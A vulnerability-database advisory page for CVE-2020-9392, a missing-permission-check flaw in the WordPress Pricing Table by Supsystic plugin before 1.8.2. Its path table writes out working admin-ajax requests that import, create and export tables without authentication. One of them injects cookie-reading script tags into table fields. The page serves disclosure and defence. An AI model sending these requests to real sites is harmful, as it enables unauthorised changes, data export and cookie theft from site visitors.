Lucene search
+L
Catalog
Vendors
Products
Timeline
Vulnerabilities
Sources
Documentation
Blog
Glossary
FAQ
Brand assets
Assessment
Agents dashboard
Agent Scanning
API Scanning
Assessment API
Alerts
Email notifications
Webhook notifications
Alerts API
SBOM package analysis
Assessment
Vulnerability Intelligence
Exploits
Alerts
Datasets
MCP
White Label
Security Automation SDK
MCP for AI Agents
Plans & Pricing
API Reference
Settings
Sign in

CVE-2020-9392

🗓️ 23 Mar 2020 16:14:51Reported by mitreType 
cve
 cve🔗 web.nvd.nist.gov👁 94 Views🌐 WEB

Issue in pricing-table-by-supsystic plugin before 1.8.2 for WordPress, allowing unauthenticated access and modificatio

Related
Detection
Refs
Paths
ReporterTitlePublishedViews
Family
attackerkb
attackerkb		CVE-2020-9392
23 Mar 202017:15
–attackerkb
cnvd
CNVD		WordPress pricing-table-by-supsystic insecure permissions vulnerability
24 Mar 202000:00
–cnvd
cvelist
Cvelist		CVE-2020-9392
23 Mar 202016:14
–cvelist
euvd
EUVD		EUVD-2020-30213
7 Oct 202500:30
–euvd
nvd
NVD		CVE-2020-9392
23 Mar 202017:15
–nvd
openvas
OpenVAS		WordPress Pricing Table by Supsystic Plugin < 1.8.2 Multiple Vulnerabilities
28 Feb 202000:00
–openvas
osv
OSV		CVE-2020-9392
23 Mar 202017:15
–osv
prion
Prion		Code injection
23 Mar 202017:15
–prion
ptsecurity
Positive Technologies		PT-2020-20629
23 Mar 202000:00
–ptsecurity
rapid7
Rapid7 Vulnerability Database (full)		CVE-2020-9392: Incorrect Default Permissions
23 Mar 202000:00
–rapid7
Rows per page
NVD
Node
supsysticpricing_table_by_supsysticRange<1.8.2wordpress
ParameterPositionPathDescriptionCWE
data[0][label]nested/wp-admin/admin-ajax.php?mod=tables&action=importJSONTable&data%5B0%5D%5Bid%5D=11&data%5B0%5D%5Bunique_id%5D=Pwn8M1EB&data%5B0%5D%5Blabel%5D=<script>alert(document.cookie)</script>&data%5B0%5D%5Boriginal_id%5D=11&data%5B0%5D%5Bparams%5D%5Bbg_color%5D%5Bval%5D=%23424242&data%5B0%5D%5Bparams%5D%5Btxt_item_html%5D%5Bval%5D=%3Cdiv+class%3D%22ptsEl%22+data-el%3D%22table_cell_txt%22+data-type%3D%22txt%22%3E%3Cp%3E%3Cspan+style%3D%22font-size%3A+12pt%3B%22+data-mce-style%3D%22font-size%3A+12pt%3B%22%3EYour+Text%3C%2Fspan%3E%3C%2Fp%3E%3C%2Fdiv%3E&data%5B0%5D%5Bparams%5D%5Bimg_item_html%5D%5Bval%5D=%3Cdiv+class%3D%22ptsEl+ptsElImg+ptsElWithArea%22+data-el%3D%22table_cell_img%22+data-type%3D%22img%22%3E%0D%0A%09%3Cdiv+class%3D%22ptsElArea%22%3E%3Cimg+src%3D%22http%3A%2F%2Fsupsystic-42d7.kxcdn.com%2F_assets%2Ftables%2Fimg%2Fexample.jpg%22+%2F%3E%3C%2Fdiv%3E%0D%0A%3C%2Fdiv%3E&data%5B0%5D%5Bparams%5D%5Bicon_item_html%5D%5Bval%5D=%3Cdiv+data-icon%3D%22fa-cog%22+data-color%3D%22rgb(0%2C+220%2C+223)%22+data-type%3D%22icon%22+data-el%3D%22table_cell_icon%22+class%3D%22ptsIcon+ptsEl+ptsElInput%22%3E%3Ci+class%3D%22fa+fa-2x+ptsInputShell+fa-cog%22+style%3D%22color%3A+ rgb(0%2C+220%2C+223)%3B%22%3E%3C%2Fi%3E%3C%2Fdiv%3E&data%5B0%5D%5Bparams%5D%5Bnew_column_html%5D%5Bval%5D=<script>alert(document.cookie)</script>&data%5B0%5D%5Bparams%5D%5Bnew_cell_html%5D%5Bval%5D=<script>alert(document.cookie)</script>&data%5B0%5D%5Bparams%5D%5Bcell_color_css%5D%5Bval%5D=<script>alert(document.cookie)</script>&data%5B0%5D%5Bparams%5D%5Benb_desc_col%5D%5Bval%5D=1&data%5B0%5D%5Bparams%5D%5Bcol_width%5D%5Bval%5D=186&data%5B0%5D%5Bparams%5D%5Bcols_num%5D%5Bval%5D=4&data%5B0%5D%5Bparams%5D%5Brows_num%5D%5Bval%5D=5&data%5B0%5D%5Bparams%5D%5Bcalc_width%5D%5Bval%5D=table&data%5B0%5D%5Bparams%5D%5Btable_width%5D%5Bval%5D=100&data%5B0%5D%5Bparams%5D%5Btable_width_measure%5D%5Bval%5D=%25&data%5B0%5D%5Bparams%5D%5Benb_hover_animation%5D%5Bval%5D=1&data%5B0%5D%5Bparams%5D%5Bfont_family%5D%5Bval%5D=Raleway&data%5B0%5D%5Bparams%5D%5Btext_color%5D%5Bval%5D=%23000&data%5B0%5D%5Bparams%5D%5Btext_color_header%5D%5Bval%5D=%23808080&data%5B0%5D%5Bparams%5D%5Btext_color_desc%5D%5Bval%5D=%23808080&data%5B0%5D%5Bparams%5D%5Bresp_min_col_width%5D%5Bval%5D=150&data%5B0%5D%5Bparams%5D%5Bcols_num%5D%5Bval%5D=4&data%5B0%5D%5Bparams%5D%5Brows_num%5D%5Bval%5D=5&data%5B0%5D%5Bparams%5D%5Bcalc_width%5D%5Bval%5D=table&data%5B0%5D%5Bparams%5D%5Btable_width%5D%5Bval%5D=100&data%5B0%5D%5Bparams%5D%5Btable_width_measure%5D%5Bval%5D=%25&data%5B0%5D%5Bparams%5D%5Benb_hover_animation%5D%5Bval%5D=1&data%5B0%5D%5Bparams%5D%5Bfont_family%5D%5Bval%5D=Raleway&data%5B0%5D%5Bparams%5D%5Btext_color%5D%5Bval%5D=%23000&data%5B0%5D%5Bparams%5D%5Btext_color_header%5D%5Bval%5D=%23808080&data%5B0%5D%5Bparams%5D%5Btext_color_desc%5D%5Bval%5D=%23808080&data%5B0%5D%5Bparams%5D%5Bresp_min_col_width%5D%5Bval%5D=150&data%5B0%5D%5Bparams%5D%5Bfont_family%5D%5Bval%5D=Raleway&data%5B0%5D%5Bparams%5D%5Btext_color%5D%5Bval%5D=%23000&data%5B0%5D%5Bparams%5D%5Btext_color_header%5D%5Bval%5D=%23808080&data%5B0%5D%5Bparams%5D%5Btext_color_desc%5D%5Bval%5D=%23808080&data%5B0%5D%5Bparams%5D%5Bresp_min_col_width%5D%5Bval%5D=150&data%5B0%5D%5Bparams%5D%5B...Unauthenticated access to ImportJSONTable endpoint allows reading/modifying a pricing table and injecting content (e.g., script tags) without permission checks.CWE-276
labelquery param/wp-admin/admin-ajax.php?label=Test&original_id=1&mod=tables&action=createFromTpl&pl=pts&reqType=ajaxUnauthenticated access to createFromTpl endpoint allows creating/importing tables due to missing permission checks.CWE-276
original_idquery param/wp-admin/admin-ajax.php?label=Test&original_id=1&mod=tables&action=createFromTpl&pl=pts&reqType=ajaxUnauthenticated access to createFromTpl endpoint allows creating/importing tables due to missing permission checks.CWE-276
modquery param/wp-admin/admin-ajax.php?label=Test&original_id=1&mod=tables&action=createFromTpl&pl=pts&reqType=ajaxUnauthenticated access to createFromTpl endpoint allows creating/importing tables due to missing permission checks.CWE-276
actionquery param/wp-admin/admin-ajax.php?label=Test&original_id=1&mod=tables&action=createFromTpl&pl=pts&reqType=ajaxUnauthenticated access to createFromTpl endpoint allows creating/importing tables due to missing permission checks.CWE-276
plquery param/wp-admin/admin-ajax.php?label=Test&original_id=1&mod=tables&action=createFromTpl&pl=pts&reqType=ajaxUnauthenticated access to createFromTpl endpoint allows creating/importing tables due to missing permission checks.CWE-276
reqTypequery param/wp-admin/admin-ajax.php?label=Test&original_id=1&mod=tables&action=createFromTpl&pl=pts&reqType=ajaxUnauthenticated access to createFromTpl endpoint allows creating/importing tables due to missing permission checks.CWE-276
modquery param/wp-admin/admin-ajax.php?mod=tables&action=getJSONExportTable&tables%5B%5D=9&tables%5B%5D=8&pl=pts&reqType=ajaxUnauthenticated access to getJSONExportTable endpoint allows exporting tables due to missing permission checks.CWE-276
actionquery param/wp-admin/admin-ajax.php?mod=tables&action=getJSONExportTable&tables%5B%5D=9&tables%5B%5D=8&pl=pts&reqType=ajaxUnauthenticated access to getJSONExportTable endpoint allows exporting tables due to missing permission checks.CWE-276
tables[]query param/wp-admin/admin-ajax.php?mod=tables&action=getJSONExportTable&tables%5B%5D=9&tables%5B%5D=8&pl=pts&reqType=ajaxUnauthenticated access to getJSONExportTable endpoint allows exporting tables due to missing permission checks.CWE-276
Rows per page

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

Book a live demo
17 Jun 2026 03:27Current
7.5High risk
Vulners AI Score7.5
CVSS 3.17.3
CVSS 27.5
CVSS 37.3
EPSS0.01677
CWE-276
cve-2020-9392wordpresssecurityvulnerabilitypricing table pluginunauthenticated access
94